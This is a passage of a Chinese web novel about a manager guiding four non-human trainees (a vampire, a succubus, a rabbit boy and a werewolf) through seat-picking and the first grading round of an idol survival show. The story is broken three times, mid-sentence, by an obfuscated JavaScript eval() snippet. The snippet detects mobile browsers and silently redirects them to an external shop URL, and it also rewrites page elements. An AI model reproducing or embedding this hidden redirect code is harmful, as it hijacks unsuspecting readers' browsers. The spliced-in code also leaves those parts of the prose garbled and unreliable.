“我想问,你是不是银星A国的……算了,”萤火自我否定地摇了摇头,“不可能的……” 楚凝沉默片刻,回他说:“你大概是认错人了。好了,没什么事的话我就先走了,我还要去给弗纳尔送个东西。” 萤火点点头,在她转身的时候笑了笑:“经纪人姐姐,其实我觉得你人很不错。” “虽然看起来冷冰冰,但大概是个很温暖的人。谢谢你的关照。” 楚凝愣了愣,片刻后也冲他笑笑:“谢谢你的夸奖。把你们培养成正统的偶像是我作为经纪人的使命,所以无论如何,今后也请一起加油吧。” …… 再去弗纳尔的宿舍之前,楚凝先回了一趟自己的寝室。她搬了一小箱东西,刚出门就遇到了回宿舍的萱草。少年问她要去哪里。 “我去给弗纳尔送箱饮料。”楚凝颠了颠手里的箱子,说,“之前答应过他的。” 萱草听她这么说,蹙了蹙眉,沮丧地说:“你对他真好。”他说完,又小声地呢喃:“你对他最好了……” 楚凝没感受到少年那丝淡淡的酸楚,也没听清他在嘀咕什么,但看着他那对垂下来的耳朵,忽然间想起一件事来。 “你等我一下,我也有东西要给你。”她把饮料放到地上,转身回了房间,不一会儿拿出两个铅笔盒大小的长匣子来。她把长匣子递给萱草。 8. 酸溜溜的吸血鬼殿下 萱草接过匣子,挨个打开来看,发现两盒子分别装了一瓶小巧的喷雾和一把精致的梳子。 楚凝指着喷雾给他讲解:“这个是防掉毛的,你可以在睡前喷在耳朵上,再多揉揉你的耳朵,这样第二天起来就不会掉那么多毛了……还有这个梳子,它是电动的,你把这边的按钮一按,它就会启动按摩的功能,还会释放出雾态的精油,这样就能很好地保养你的耳朵啦。” 萱草没有想到楚凝真的认真地解决着他的小烦恼,心里漫上丝丝的暖意。他看向楚凝,在视线接触到对方的一刻垂了头,似乎不好意思。 “谢、谢谢。” 楚凝摸摸他的脑袋,示意他不用道谢。萱草忸怩半晌,又忽然问:“这两个东西……是不是每个人都有……” 楚凝想着其他人也并不掉毛掉头发,摇摇头说:“我只给你买了这个。” 少年听了,唇角微扬一下,绽开点笑,又旋即收敛下去,并不想叫人发现。 楚凝见他没什么事,重新抱起脚边的饮料,催他回自己的房间休息,以便更有精神地迎接明天初评级的比赛。萱草却扯住她的袖子,小声问:“你什么时候回来?”他看了对方一眼,又盯向手上的匣子,声音弱弱的,“这个梳子我……我不太会用,阿凝姐姐你教教我……” 楚凝说:“盒子里面有说明书的。” 萱草的脸涨红了几分,反辩道:“我、我看不懂,你教教、教教我。” 楚凝想了想,答应少年等她回来以后就教他。萱草这才放了她,提醒她早点回来。等她走了,他捧着两个盒子左看右看,看样子很有些喜欢。 …… 楚凝抱着那箱饮料到了弗纳尔的宿舍楼下,在向管理员做完登记以后,她拐一个弯就到了对方宿舍门口。 那个时候已经是晚上九点,虽然她知道弗纳尔没那么容易睡得着,但因为考虑到对方还有三个室友,她敲门的动作还是很轻的。 开门的并不是弗纳尔,而是一位金发蓝眼,看起来温温柔柔的少年。楚凝觉得他有些眼熟,但想不起来是谁,反倒是对方先叫出了她的名字,那张洁白的脸庞上带着欣喜。 “你认识我?”楚凝稀奇地望着对方。 “楚凝姐姐你忘记我了?”少年转过身去,露出了背后那双纯白的翅膀,“我小的时候你还拿我的羽毛做过水笔呢。” 楚凝看着那双翅膀,总算想了起来,“羽因?居然是你?”她拉过对方的手,转着圈地打量他。昔日的孩童已褪去稚气的模样,成长为一个端庄的少年了。 “还真是男大十八变啊,我都认不出你来了……你的这对翅膀怎么变得这么小了?不转过来的话我都没看见。”楚凝疑惑着,又摸了摸他的翅膀,发现手掌残留了一些彩色的矿粉,好像是从翅膀的里面漏出来的,她又薅开少年的翅膀翻看另一面,发现里面透着一层七彩的光辉,更觉惊奇,“咦,你里面的翅膀怎么是彩色的?这么非主流啊。” 羽因觉得被她摸着很痒,本能地后退一步,又窘迫地向她解释:“这是拉斐尔大人搞的设计啦。”他仿佛想起了什么不好的回忆,脸上泛起一丝淡淡的忧伤,“他听说我要来参加这个选秀,趁我睡觉的时候把我的翅膀用矿粉染成了彩色,还挂了很多装饰上去,他说我代表着天堂的颜面,要用最酷炫的方式惊艳众人……” “然后我就被天堂里其他的天使们笑了好久,一度想着干脆退赛不来蓝星了……最后还是执行完任务回归天堂的加百列大人帮忙把我外面翅膀的矿粉洗掉了,但因为他实在太忙了就只帮我洗了一面,然后又把我的翅膀变小了——他说蓝星的人族太多,翅膀太招摇也不是什么好事……还好有加百列大人,不然我应该没有脸过来了。” 楚凝默默地听完,脸上露出一点少见的同情,“拉斐尔还是一如既往的脑袋有泡啊。”她又想起上午遇见羽彩的事,顺便地问,“对了,你有没有见到你姐姐?她上午找你来着。” 羽因点点头,欣喜地说:“姐姐来找过我啦,她刚刚还在练习室教我唱了一会儿歌……对了,楚凝姐姐,弗纳尔是不是你手里的艺人?”他见楚凝点头,接着说,“刚刚我和他吃完晚饭一起去练习室练习了,我姐姐说弗纳尔唱歌的发声方式有问题,教了他很久才放他走,我感觉他有点沮丧,要不你后面见到他的时候多安慰他一下吧。” 楚凝听了,轻轻地点头,又好奇地问对方弗纳尔有没有和羽彩耍脾气。 羽因摇摇头,诚实道:“他很听话的……呃……可能是因为我姐姐太凶了,谁见着她都不敢发脾气……” “那倒也是,”楚凝说,“不过在专业的项目上要求严格也是好事,毕竟平时有人花重金请你姐姐去教学她也未必肯去,现在给弗纳尔免费辅导了这么久,按道理来讲我也应该替弗纳尔向她说声谢谢。” 羽因听了,秀气的脸上露出一个甜甜的笑来,“姐姐不会在意这些的啦……对了,”他摆了摆手,又问,“楚凝姐姐你现在过来应该是来找弗纳尔的吧?他在洗澡,你可能要等一会儿。” 楚凝听他这么说,便直接把饮料交给了他,请他代交给弗纳尔,而自己就不等他出来了。 羽因接过那一小箱饮料,稀奇地问那几个铝皮罐子里头装了什么。 “蓝星特产,”楚凝默默说,“乌鸡血。” …… 第二天一早,参赛的练习生们便被通知在九点的时候到活动大楼集合,之后要在演播厅的外面等候入场。 四个人外则是在八点的时候集合到练习室,决定再做几次排练。练习的过程中萤火想起楚凝的提议,难得主动地和队友沟通起他们舞蹈存在的问题。原来那个“时钟手”摆放的位置按原编舞来看是在左边靠近心脏的地方,但萱草他们三个都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748800|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把它的位置做到了中间。萤火提出来以后,问三个队友的意见。 “如果你们觉得这个姿势做中间更好一点,我们也可以一起改。” 三名队友对着镜子比划了半天,最终还是遵循了原编舞的姿势,觉得那样更有巧思。 跟萤火预先设想的糟糕情况不同,三位队友不仅重视他的指正,而且也感谢他的细心。 “其实也不是我的功劳,”萤火笑着说,“是我们的经纪人姐姐鼓励我说出来的,不然我或许也就这么将错就错了。” “原来是那个女人告诉你的啊,”弗纳尔微蹙眉头,若有所思地呢喃,“你们那天傍晚在练习室到底呆了多久啊……” 萤火没听清他的嘀咕,又问他一遍,弗纳尔意识到自己有些失态,不自觉干咳了两声,“没什么,我是说、是说经纪人对我们还真上心。”他又告诉萤火楚凝昨天送他饮料的事,脸上显出一点不易觉察的小骄傲。萤火瞄他半晌,仿佛看穿他炫耀的小心思,于是打趣地说:“经纪人姐姐都没有给我们送饮料,却单独给你送了,她对你也太好了~” 他这话正中吸血鬼少年的心怀,令他翘起了唇角,“也没有啦,那个饮料本来你们也喝不了,所以只送给我一个人了而已……不过她能把本殿下的喜好记得那么清楚,也确实难为她啦……”他的脸上显现出难掩的愉悦,却听萱草默默地说: “是啊,阿凝姐姐人很好的,昨天还送了我小梳子和防掉毛的喷雾,而且给弗纳尔送完饮料以后,回来的时候也亲自教我了用法,还教得很仔细呢。” 弗纳尔的面色晴转阴了,“什么,你们也单独待一块儿了?”他看着兔子点头,想着自己昨天洗完澡以后楚凝已经走了,心情破碎地想:“那她也应该等我洗完澡出来再把饮料交给我,而不是让别人转交给我……” 尽管少年的想法很无道理,但他还是觉得自己没受到对方的重视,心里别扭了起来。 萱草并不照顾他的情绪,反而捋着自己的耳朵,笑得有点满足:“那个梳子里有橙子香的精油,我很喜欢这个味道,弗纳尔你要不要闻闻看?”他边说便向对方迈近一步。弗纳尔面色幽怨地往后退,叫他走开。正在这时,楚凝到了练习室。看到大家都在,她不免感到欣慰。 “看来你们也开始学会自觉练习了,很不错。”她扫视一遍人外们,发现弗纳尔的精气神也很好,并没有昏昏欲睡,就知道他按时地吃了自己给的药。 她走到对方面前,问他昨天的饮料好不好喝。 “不好喝,”弗纳尔气鼓鼓地低语,“一点也不好喝。” 楚凝诧异起来:“不好喝?不可能啊。乌鸡血的浓度和甜度高于其他家禽的血液,按理来讲应该会比公爵给你准备的东西要美味。” 弗纳尔眼圈微红,嘀咕道:“你都没有亲手把东西给我,没有诚意的东西最不美味了。” 9. 选座位 楚凝听了,疑惑地反问:“你要我把饮料亲手给你?可你昨天不是在洗……” “那你等一下我就好了啊……”少年又哀怨地说,“你明明有时间和萤火,和萱草待这么久,你一点都不重视我,你区别对待。” 楚凝不明白为什么给少年送个东西还有这么多讲究,怀疑他又在发大少爷脾气,心里忽生出一点儿自己的好心被对方当成驴肝肺的错觉,由此感到气恼。 她想说几句重话,但弗纳尔被气愤染红的脸颊带着一种漂亮的脆弱,这让她心软,也不免使她不自觉地妥协。 “那行,以后我就把饮料亲手交给你吧。”她说完,见少年的脸色好了一点,又思量着说:“不过你既然觉得饮料难喝,那我想我以后也……” “没有,”弗纳尔突然地否认了,“仔细想想味道也还不错……”他的脸更红了。 楚凝盯着他看了半晌,笑着拍了拍他的肩膀,说他是口是心非的家伙。弗纳尔刚要反辩,楚凝却很快地转移了话题,问起他们练习的效果。 加尼亚把萤火纠正他们舞蹈手势的事告诉了楚凝,楚凝也替他们的改正感到满意。她再看了一遍四个人跳的出道曲,评价他们终于有了点团体的模样,而不是散如一团乱麻。她想起昨天羽因说羽彩教弗纳尔唱歌的事情,又问少年现在对自己唱的部分是否掌握。对方说自己能跟上衔接的节奏了,但有一些音还是唱不上去。 “那只能尽力而为了,”楚凝又拍拍他的肩膀,“加油。” 几个队员又练习了几遍舞蹈,然后便一起去食堂吃早饭。吃完早饭后,工作人员在手机上发布了后面的比赛流程,让练习生们到活动大楼集合。 大家很快地集合完毕,工作人员给大家讲解接下来进演播大厅的事宜——大家在进入大厅之后首要的任务就是挑选座位,然后便是初评级比拼。 这两个环节楚凝作为经济人只能待在演播大厅旁边的待机室观看实时的拍摄,并不能进入大厅和艺人交流,也不能出镜。 练习生们按照抽签的顺序依次进入大厅,四个人外抽到的签顺序在中间,要在外面等候一会儿,楚凝便也不忙着进待机室,在这四位进入大厅前给他们做最后的动员和提醒。 “等会儿一定要全力以赴,但如果初次舞台实在出现了失误,先别急着灰心,一般来讲团体表演完后,评委会给练习生们展示个人才艺的时间,但也不一定每个人都有,所以你们一定要尽可能地主动去争取展现才艺的机会,”她强调道,“争得更高的评级是关键之一,但如果实在没法在这方面比过别人,也要努力地在镜头前表现出你的魅力与特长,只要能给观众留下记忆点,人气就有可能上去。” 楚凝说完,跟四个人外再次确认了一下他们各自能展现在舞台上的特长或个人技,这些信息虽然之前在资料上就已经了解,但她还是要保证人外们在这些环节里的表现尽可能圆满一些。 “萤火擅长跳古典舞,到时候可以针对性地进行展示,加尼亚可以吹树叶口琴……”她说着,从自己的挎包里拿出一个绒袋递给狼人,对方疑惑地打开,发现里面装着三片种类不同的树叶,有的叶形细长,有的叶形宽扁,但看起来都很干净。 “都消过毒了,”楚凝望着一脸惊讶的青年,抱臂说,“我可是一大早就起来给你挑树叶了,这三片是我绕着基地里各种栽树的地方找了很久才摘下来的,一会儿要好好表现喔。” 加尼亚听她这么说,湛蓝的眼眸亮了亮,头上那对灰色的狼耳精神地立起来。“长官你真是太好了!”他向她端端正正地敬了个礼:“加尼亚保证完成任务!” 楚凝哭笑不得地叫他收回“长官”的称呼,和其他成员一样喊她的名字,但青年像受过规范的军事化训练一般把对她的称呼当做一项准则,这让她没法再拒绝这样的称呼。同时她也不禁好奇起对方的过去来,想着等哪天有空一定要详细地了解下他的经历。 帮完狼人,她又望向一旁心情已经好转的吸血鬼,打开他的资料,核对着问:“弗纳尔,你在资料上写你的个人技是模仿各种动物的叫声,嗯……你有没有更贴近‘音乐’一点的特长?” 弗纳尔听她这么问,好转的面色又古怪起来,支支吾吾地答:“我小时候倒是学过钢琴、小提琴、大提琴,就是……就是……” “仅限学过是吧。”楚凝扶着额头帮他把话说完了。 弗纳尔羞愧道:“真讨厌,我又不知道我以后要做偶像,早知道我就认真学了……” 楚凝无奈道:“那就这样吧,你这个技能……嗯……怎么说呢,有总比没有好……或许能通过它自带的诙谐性制造记忆点也说不定。” 评价完以后,她最后看向萱草,向他确认: “你会吹口琴,还会弹竖琴对么?而且我看你在资料上写你在银星举办的某个竖琴大赛里拿过奖。” 萱草点点头,但却说他到时候准备在舞台上表演口琴曲。 “为什么不表演竖琴呢?”楚凝说,“如果你能在舞台上表演更新颖的乐器,应该可以为你挣得更高的人气。” 萱草有些为难:“可是我身边没有竖琴。” “那没关系,”楚凝说,“这是小问题,我现在就联系离这边最近的乐商,请他加急运一架过来,你到时候还是表演竖琴更亮眼些。”她说完,又补充道:“竖琴的话我们要最好的。” 萱草听了,和身边几个队员互相偷瞄一眼,面色都有点震惊,“这是……小问题吗……”他小声说一架品质顶级的竖琴价格不菲,且就算抛开价格不谈,用在几分钟的才艺展示上也实在有些大材小用了。 “怎么会大材小用?”楚凝理所当然地说,“个人才艺展示那么重要,我当然要竭尽全力帮你们。”她甚至在心里想着如果不是为了达成和朋友的约定以及对朋友培养偶像团体这份执念的尊重,她也根本不用那么麻烦地把人外们送来选秀。直接用钱解决公司的资金问题,再把这个团队养起来,不计盈亏地慢慢训练也无所谓。 “那、那也不用买最好的琴啊……随便一架都可以的。”萱草忽感一种甜蜜的负担。 楚凝却摇头:“不能随便。”她盯着对方的眼睛,认真地说:“你值得最好的。” 萱草怔了怔,把目光慌乱地别了过去,答不出话。 楚凝说完,又看向其他的队员,轻描淡写地表示:“你们只管在成为偶像的道路上努力训练不断前进,其它的障碍,我来帮你们扫除。” 几位成员望着她,面上泛起别样的感动和佩服。 楚凝交代完事项,见快到了他们进厅的顺序,便准备先去待机室,打算一会儿看他们的表现。 “总之,这个节目的淘汰机制是看制作人们的投票数,也就是看选手人气的,抛开实力来看,你的幽默感、精气神、路人缘等等都有可能成为提升人气的因素。我们的阶段目标是在第一轮公演之后全员生存下来,所以请大家务必要打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748801|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起十二分的精神来应对这场硬仗。” 她做完动员,和其他经纪人一起进了待机室,等打开手机的时候却看见她和成员们的五人聊天小群里多了好几条消息。 楚凝点开一看,发现原来是四个人外拆穿了她“鱼头教育”的谎言,揭破了她根本没有倾家荡产的事实,不免语塞当场。 大意了…… 楚凝扶额笑笑。 …… 这时,演播大厅外的屏幕上已出现了Z社的图标,四个成员便一起进入了演播厅。 厅内架满了拍摄的机器,璀璨的灯光下,一百零一个编着号码的位置随着阶梯由低到高地摆放着,有些位置已经坐了人。先来的练习生们看着刚进厅里的四个人外,都交头接耳地议论着他们,有的对他们的实力和所属公司的实力做着揣测,有的则议论着他们的相貌。 “他们应该是在夸我帅。”弗纳尔一本正经地对身边的萱草说。 萱草无语了一瞬,对他说:“应该没有吧。不管怎么看他们的视线好像都是落在萤火身上的呢。” 弗纳尔冲萱草做了个鬼脸,不服气道:“你肯定是嫉妒本殿下的美貌才这么说的,要么就是嫉妒经纪人她给我送饮料了。” 虽然吸血鬼少年只是随口一说,但萱草却并不敢承认他被对方说中的事实,只得把头别过去不跟他说话了。 萤火听到他们的交谈,哭笑不得地提醒:“你们衣领上别着麦喔,这些没有营养的话题还是先别聊啦。” “对啊,”加尼亚说,“我们还是先找座位坐下再说吧。”他说完,带着大家往台阶走。 此时他们背后的大屏上依次投出了他们在填档案时的预设名次。 预设名次反映的是练习生心里对于选秀的预期目标,虽然练习生们不需要按照这个目标去落座,但目标的展示也会给全场的练习生们一定的参考和提醒,敢于填高目标的人势必会引起其他人的讨论。 屏幕上,萱草填的第50名,加尼亚填的第55名,而随后浮现出的是弗纳尔的目标。当他的预期目标出现时,在场的练习生们都展示出惊诧的反应,在场又热闹起来。 “第一?你还真敢填啊。”萱草默默地吐槽道。 “弗纳尔兄弟你真自信。”狼人真诚地说。 “这有什么不敢的,”弗纳尔扬了扬眉,嘚瑟道,“这本来就是本殿下的最终目标啊,虽然……虽然本殿下目前的实力有那么一小丢丢的欠缺,但我最后一定可以达到的。” 萱草低声说:“什么一小丢丢啊……” 弗纳尔不管他的吐槽,哼哼一声,准备往标着编号1的座位上走。 所有的座位里最中间的十一个位置比其他位置豪华,共同构成“钻石”的边框图形,大家都知道那是给最终出道的练习生所设计的座位。因为最开始坐上去会有压力,所以先前进来的人都没有去坐。 弗纳尔刚迈几步,却没想到被身后的萤火唤住了。 “抱歉,弗纳尔,”萤火的唇角扬了扬,紫瞳里闪着光,“你可能没法坐第一的位置了。” 话音刚落,大幕上投出了他填的预设名次——竟然也是第一。在场一片哗然。 弗纳尔回看大屏幕,心里有些惊讶,再看萤火,见他那副一贯慵懒的神色里竟带上了少见的认真,心里又不自觉地闪过警惕。 身为魅魔的少年向他笑了笑,从容而强势地问:“第一的位置,可以先让我坐吗?” 10. 抢位比拼 楚凝在待机室看到了两个少年同时预填了第一名的目标,心里一惊,觉得有些不妙。 其他成员先不论,填第一的偏偏是弗纳尔和萤火。 她认为当萤火问出那句话之后,以吸血鬼殿下那种不饶人的态度,他估计会当场耍性子,一边说着“开什么玩笑”一边和同公司且同队的成员抢位。这在她看来大概会成为弗纳尔黑历史的开端。 “怕是要完了……”她密切地注视着同步传送画面的直播屏,心里想着补救的方案。 “到时候只有拜托剪辑组的人剪掉弗纳尔发飙的画面了……”她无奈地这么想,但心里也没有绝对的把握,“只是如果这种桥段能带来的话题讨论度过高,栏目组也许就不舍得去掉……”她不禁感到头疼。 但楚凝并没有想到,她所预设的糟糕场景竟然没有发生。弗纳尔只是怔怔地望了萤火半晌,张了张口似乎想说什么,最后却咽了回去。 他走回了队伍,对萤火说:“那、那你去坐呗。”他稍显出一副满不在乎的模样,尽量以平淡的口吻说:“本殿下现在的实力的确比你差……稍微差一点点,所以你去坐吧。”他的脸颊显出一团羞赧的红晕。 和楚凝一样,萤火也惊诧于对方的让步,他本以为以对方任性的脾气应该会和他闹腾一场,说些气话,再以世子的身份命令他退让,却没想到对方竟然展现出了通情达理的一面,这实在超出了他的预料。 “你……不跟我比点什么?”他笑着问对方。 弗纳尔看他一眼,犹豫片刻,又抓住他的手拉着他往前,“哎呀比什么比啦啰啰嗦嗦的浪费时间,你想比后头有的是人和你比,”他把人拉到第一的位置前,催促道:“快坐啦。” 萤火听他话已说到了这里,结果也是自己想要的结果,于是也不犹豫,直截道:“那我就不客气了。”他便成为了第一个在出道圈里落座的练习生。 第一的位置处于整个厅的中心,就像电影院里最绝佳的观影座位,无论是品味别人还是聚焦自己,滋味都是格外的好。萤火环顾四周,见在场的其他练习生议论纷纷,他们的眼中有赞赏、有欣羡、有怀疑、有轻视,内心不仅不怵,反而漫涌起竞争的热情。 “要捍卫这个位置。” 这是他目前唯一的想法。 而一旁的弗纳尔在放弃抢位之后,往回看发现萱草和加尼亚已经落座,并给他留了旁边的位置,于是朝着两个人走去。 刚下了几步台阶,就有人轻轻拉住了他的衣袖,弗纳尔转头一看,发现是自己的室友羽因。 孤单的天使少年坐在中间台阶靠过道的位置,拉着他坐在了自己旁边。见弗纳尔落座后,他松一口气,默默地说:“弗纳尔我等你好久啦,我一个人坐这里感觉好害怕。” 弗纳尔知道他有一点社恐,又见自己宿舍的另外两名室友还没来,于是用眼神向萱草他们示意,在羽因身边坐定了。 羽因看见刚才大屏幕上戏剧性的预设名次,好奇地问对方是不是提前知道萤火填下的目标。弗纳尔摇头否认了。 “我一点也不知道。”他耸耸肩。 “你们真的很勇敢诶。”羽因的眼瞳里闪烁着赞赏,又转头往萤火的方向望去。“你的队友是魅魔吗?”他看了一会儿,由衷地呢喃,“他长得实在是太好看了,气质也好好……感觉就像一位已经出道的偶像。” 弗纳尔看着他被迷住的表情,一抬手把他的嘴巴捂住,“臭羽因,你这简直是‘长他人志气,灭室友威风’,不带你这样的,你再这样我就不和你坐一起了!”他说完,也回头看一眼萤火,魅魔少年对他眨了眨眼,他哼哼一声,把头转回去了。 羽因立即住了嘴,片刻后,挨了挨他的肩膀,又问他:“那你为什么不试着和他比比才艺嘞?”他说知难而退并不是少年的行事风格。 弗纳尔起初不回答他的话,可过了一会儿,又小声说:“她应该不希望我在这里因为实力问题跟别的成员起什么很激烈的争执吧……要有、有团魂的啊……” “她?谁?”羽因凑近了问。 “就……就我们经纪人。” “你说阿凝姐姐?”羽因惊诧道,“原来你肯听她的话啊。” 弗纳尔激动地低语:“才没有!”他反应了一下对方的话,又好奇地问:“你怎么突然这么说?” 羽因说:“因为阿凝姐姐之前跟我说你偶尔会比较任性呢。” 弗纳尔听了,面色有些羞愤,又有些委屈,“她是这么看我的啊?那她还跟你说了什么,她是不是……很不喜欢我……” 羽因摇摇头,又接着说:“阿凝姐姐拜托我尽量多关心你呢,她说你虽然有些任性,但其实并不是坏家伙,所以希望我多担待一些……其实我觉得她说得很对啊,你虽然看起来不好相处,但还是很可爱的。” 弗纳尔听完,脸上闪过一丝喜色:“她真的这么说嘛?” 羽因点了点头。 弗纳尔不好意思起来,刚要再问点什么,却听见萤火那头的方向传来躁动。 原来在他和小天使聊天的时候,已经有后面进来的练习生为了第一的位置向萤火发起了挑战。而挑战的恰好是那只之前扬言要给萱草一点教训看看的虎妖。 这只虎妖在蓝星挂靠了一家被称作C社的大娱乐公司,是和该社的几位成员一起参加的比赛,同行的是两名人类练习生和一只狐妖。他提出要和萤火比拼一段rap,尽管萤火不擅长说唱,但依然答应了下来。 弗纳尔虽然放弃了抢位的打算,但也不可能不关注自己队友的情况,于是拉着羽因一起过去观战。萱草也顶着对虎妖的惶恐和加尼亚一起走过去,给萤火加油打气。 说唱并不是萤火的强项,一番比试下来,略逊虎妖一筹,萤火本来想让位,但弗纳尔却维护着他,以公平性为理由提出让虎妖再比试一场舞蹈,对方本来拒绝,但萱草配合着弗纳尔用激将法,激得两个人又比了一次。 这次萤火赢了。虎妖的几名队友不服气,帮着他说话,于是这场两个人一对一的比赛变成了四对四的团体竞争,而比赛的内容也从唱跳相关的项目拓展为只要是自己拿手的项目都可以进行展示比拼的花样竞争。 在场越来越多的练习生们秉着看热闹的态度过来围观,演播大厅的场面一下子热闹起来,也给节目组贡献了不少素材。 脱离了专业项目的比拼,两个团队之间的胜负就有些难分了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748802|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,待机室的楚凝看着摄像,对弗纳尔维护萤火的举动刮目相看,也对四个成员渐渐展现出来凝聚力感到欣慰。 “原来加尼亚还会讲冷笑话……”她看着比拼方向已经走偏的成员,默默地吐槽。就在这时,她的身边靠近一个人。 “那四个人外是你手上的艺人?” 楚凝转头一看,发现是业界有名的经纪人前辈,于是谦敬地问好,又解释道:“是我手里的艺人,我朋友托我培养的。” 那前辈一面盯着摄像,一边评价:“看起来潜质不错啊,长相和综艺感兼备,观众缘应该会很不错。” 楚凝谢过她的夸奖,又苦笑道:“就是整个团的实力差了点,还在培训中,也希望他们能通过这个节目进步一些。” “他们会成名的,”那前辈笑着说,“我看人的眼光不会出错。” “借前辈吉言。”楚凝也笑笑。 “不过也说不定会有一些反转,”那前辈看着楚凝,意味深长地说,“就像你一样。” 楚凝的笑意忽而凝固了。 “小楚,反骨仔啊反骨仔,”前辈幽幽说,“我们当初那么看好你的,没想到你居然放弃了出道,这实在太可惜了……”她用手捏起楚凝的下巴,细细端详着,眼中泛起一点迷恋,“这么适合做偶像的一张脸,真是遗憾……” “要不要回到这条路试试,你也不过才二十二岁,做经纪人哪有做艺人吃香呢?你要不要重新考虑一下,让我来培养你,我们双强联手,你在圈里立足根本不是问题。”她还要再劝,却被楚凝拍掉了那只捏下巴的手。 “前辈请不要再说了,”楚凝严肃道,“我早就没有想要当偶像的想法了,这不过只是少年时期的梦而已。” “那几场战争过后,我现在只想做维护祖国和平的斗士……其实如果不是朋友的委托,我也早就辞去经纪人的职务回到银星了。” 那前辈便问:“所以你觉得做偶像是没有意义的吗?” 楚凝摇头:“当然不是。我觉得做偶像非常有意义。” “一个正统的、合格的偶像无论在战争还是和平年间都是治愈时代的歌,是众多支持者的美好的梦。而我比起成为这支歌,更想创作这支歌。可是我之前却创作了一支极其失败的歌……这是我的罪过。” “可那件事已经过去了,”前辈说,“你也不必太自责。” “不一定会过去,”楚凝的脸上出现一种不易察觉的警惕,“只要他还在,就不一定会过去。”她陷入了一种很认真的迷思。 “哎呀……这也担心那也担心,你何必在这么花季少女的年纪把自己搞这么累呢……”那前辈不愿意再把话题深入下去,于是轻敲了敲屏幕,提醒她把注意力放回到演播厅的比拼上。 经历了几轮大乱斗以后,两个团的人已经玩出了很多抽象的花样,彼此的脑力和体力都消耗得差不多了,但还没见到胜负。 楚凝见待机室的工作人员已经出去了几位,估计要把比赛叫停,但这个时候弗纳尔却声称要拿出自己的压箱底的绝活,表演出来把周围的人都厉害死,然后彻底终结掉比赛。 “他该不会现在就要学动物叫吧……”楚凝默默地想。 11. 初评级表演 但楚凝并没有想到,这位胜负欲爆表的吸血鬼殿下并没有学动物叫,而是表演了另一项他在大白天与生俱来的技能——秒睡。只见他两眼一闭,直挺挺地睡在了舞蹈台上,在众人的眼底很没形象地睡着了。现场沉寂了几秒,而后爆发出雷鸣般的掌声。 “哇,弗纳尔好厉害!” “这个技能也太酷了,我也好想拥有!” “好羡慕他的睡眠质量啊我最近因为失眠真的快疯掉了……” 虎妖和他的几名队友见状,不得不摇摇头,无奈地认输了。 “这活还是你们会整。”老虎说完,和几名队友到其他位置落座去了。因此世子殿下最终成功地帮队友捍卫了第一的位置。 待机室的楚凝:…… 她望向旁边的前辈,发现对方捂着嘴笑个不停,很抬不起头地说:“见笑了,前辈。他平常不这样。” 那前辈憋不住地笑了好一会儿,又指着弗纳尔说:“这个孩子的睡相大概会被做成表情包的吧。” 楚凝看了看躺在地上正在被羽因用魔法唤醒的吸血鬼少年,无语凝噎。但紧跟着她意识到另一个很重要的问题——弗纳尔今天可能忘吃倒时差的药了。 此时少年已经醒了过来,只是看上去不如之前那么有精神,不知道是消耗了体力还是昨日药效已过的原因。楚凝害怕他在一会儿的初评级表演里出问题,便把包里的备用药丸拿出来,准备托工作人员进场交给对方。 但这时练习生们已全部进场,没过多久,演播大厅的灯光突然暗了下来。 聚光灯打到了舞台上,光彩夺目的主持人走到台前,大厅的灯光又亮了起来。 楚凝知道这时候再给弗纳尔递药已不方便,只能在心里希望一会儿表演的时候他不会犯困。 这时,厅内爆发出浪潮般的尖叫声,是练习生们在看到主持人后的激动反应。 选秀节目的主持人一般由业界做偶像的大前辈来担任,而这次节目的策划组便特意请来了在蓝银两星都十分出名的艺人来做主持的工作。练习生们亲眼见到了平日里行程繁忙,只能在网络上看见的大明星,心情自然可想而知。 “雀灯……”楚凝喃喃着主持人的名字,转头看向一旁的经纪人前辈,“前辈居然舍得把她放进这档节目里来做主持人。” 对方温温一笑:“她想来我就让她来啦,她也是选秀出身的,大概对这个节目有情怀在。” 楚凝点点头,“她的确是偶像界的传奇,第一位在蓝银两星都拿过歌后和舞后比赛冠军的王牌艺人,第一位星际粉丝破十亿的划时代女偶像,第一位本社出道单曲当日销量破千万的传奇……我和我手里那四个艺人平常也很爱听她的歌。前辈,她真是您手里的瑰宝。” 那前辈笑了笑,说:“谢谢你们对她的喜欢,我会把这份喜欢如实传达给她的。能得到你们的喜爱与支持,她一定也很高兴。” 楚凝认同道:“能够得到粉丝的喜爱,还同时拥有将幸福反馈给粉丝的能力,这样的双向奔赴的确是做偶像的意义之一。” 那头的主持人在众练习生崇拜的目光中做完自我介绍,然后介绍了选秀的赛制,紧接着又按流程请出了将会在节目里指导练习生训练的几位常驻导师。 